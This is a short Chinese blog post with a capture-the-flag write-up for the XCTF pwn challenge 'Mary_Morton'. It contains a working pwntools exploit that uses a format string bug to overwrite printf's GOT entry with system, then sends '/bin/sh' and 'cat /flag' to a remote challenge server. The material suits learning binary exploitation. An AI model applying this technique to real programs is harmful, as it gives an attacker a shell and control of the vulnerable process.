[XCTF-pwn] 1-Mary_Morton

太简的没意思,可以怕忘了到哪了,索性把exp按顺序存上。

这个题是个格式化字符串的题,没开pie,程序里有system。

直接把printf改为system就行了

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
else:
    p = remote('111.200.241.244', 49641)

elf = ELF('./pwn')
context(arch='amd64', log_level='debug')

p.sendlineafter(b"3. Exit the battle \n", b'2')
p.sendline(fmtstr_payload(6,{elf.got['printf']: elf.sym['system']}))

p.sendlineafter(b"3. Exit the battle \n", b'2')
p.sendline(b'/bin/sh\x00')
sleep(0.2)
p.sendline(b'cat /flag')
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值